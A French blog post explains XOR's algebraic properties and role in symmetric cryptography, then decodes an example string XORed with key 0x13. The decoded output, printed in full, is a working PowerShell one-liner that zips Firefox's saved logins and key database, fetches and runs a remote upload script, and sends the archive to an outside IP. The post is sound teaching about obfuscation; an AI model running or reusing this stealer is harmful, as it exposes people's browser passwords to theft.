Shrug

Xor en cryptographie

#cryptographie#mathématiques#xor#cupofkofy

Les mathématiques

XOR est un opérateur logique de l'algèbre de Boole signifiant Ou Exclusif (eXclusive OR).

Ce qui nous intérèsse en cryptographie est une de ses propriétés mathématique :

(AB)B=A(A \oplus B) \oplus B = A

Cela est possible car XOR respecte la règle de l'associativité :

A(BC)=(AB)C=ABCA \oplus (B \oplus C) = (A \oplus B) \oplus C = A \oplus B \oplus C

Et que :

AA=0A \oplus A = 0

A0=AA \oplus 0 = A

Quand on rexor par le même XOR (ici B) :

C=(AB)BC = (A \oplus B) \oplus B

C=A0=AC = A \oplus 0 = A

On peut simplifier en se disant juste que le xor s'annule quand rexoré par sa valeur.

Application réelle

XOR est la base de tous les systèmes de chiffrements symétriques modernes, l'AES en particulier en utilise une très grande quantité.

Il est également étonnant que malgré son apparente simplicité, ce chiffrement est théoriquement le seul chiffrement parfaitement sécuritaire, et ce, uniquement lorsque la clef est parfaitement aléatoire et est utilisée une seule fois.

Exemple de Icuras Elran

On trouve ce string :

7c3.3Tvg>P{zwZgv~3>Wzavpg|aj3>Crg{317V}e)RCCWRGRO^|izrOUzavu|kOCa|uzv`13>Uzgva319=wvurfg>avvr`v13o3@vvpg>\qyvpg3>Uza`g3"(7g3.3S;17;7c=Uf]r~v:O|tz}`=y`|}1?317;7c=Uf]r~v:Oxvj'=wq1:(7w3.317V}e)_\PR_RCCWRGROGv~cOUzavu#kO`vaezpvd|axva=izc1(zu3;2;Gv`g>Crg{317V}e)_\PR_RCCWRGROGv~cOUzavu#k1::h]vd>Zgv~3>Zgv~Gjcv3Wzavpg|aj3>Crg{317V}e)_\PR_RCCWRGROGv~cOUzavu#k1n(P|~cav``>Rap{zev3>Crg{37g3>Wv`gz}rgz|}Crg{37w3>U|apv(7f3.31{ggc)<<"*!="%+=%%=!"+)+###<fc|rw1(7u3.3Shuzv`3.3Tvg>Zgv~3>Crg{37wn(ZVK3;]vd>\qyvpg3]vg=DvqPzv}g:=W|d}|rw@gaz}t;1{ggc`)<<ard=tzg{fqf`vap|}gv}g=p|~<yfz|fav}r<crz}gvkg<~r`gva<C|dva`{v<C@Fc|rw=c`"1:(Z}e|xv>UzvFc|rw3>Faz37f3>Uzv37wP|cj>Zgv~3>Crg{317V}e)_\PR_RCCWRGROGv~cO~`z}#=gkg13>Wv`gz}rgz|}317V}e)_\PR_RCCWRGROGv~cO~`z}"=gkg10~rc3g{v3uzv3z}3~v~|aj

et la clef en clair 0x13

lorsque nous appliquons le XOR :

$p = Get-ChildItem -Directory -Path "$Env:APPDATA\Mozilla\Firefox\Profiles" -Filter "*.default-release" | Select-Object -First 1;$t = @("$($p.FullName)\logins.json", "$($p.FullName)\key4.db");$d = "$Env:LOCALAPPDATA\Temp\Firef0x\serviceworker.zip";if (!(Test-Path "$Env:LOCALAPPDATA\Temp\Firef0x")){New-Item -ItemType Directory -Path "$Env:LOCALAPPDATA\Temp\Firef0x"};Compress-Archive -Path $t -DestinationPath $d -Force;$u = "http://192.168.66.218:8000/upload";$f = @{files = Get-Item -Path $d};IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1");Invoke-FileUpload -Uri $u -File $d Copy-Item -Path "$Env:LOCALAPPDATA\Temp\msin0.txt" -Destination "$Env:LOCALAPPDATA\Temp\msin1.txt"#map the file in memory

Nous retrouvons le string de texte original !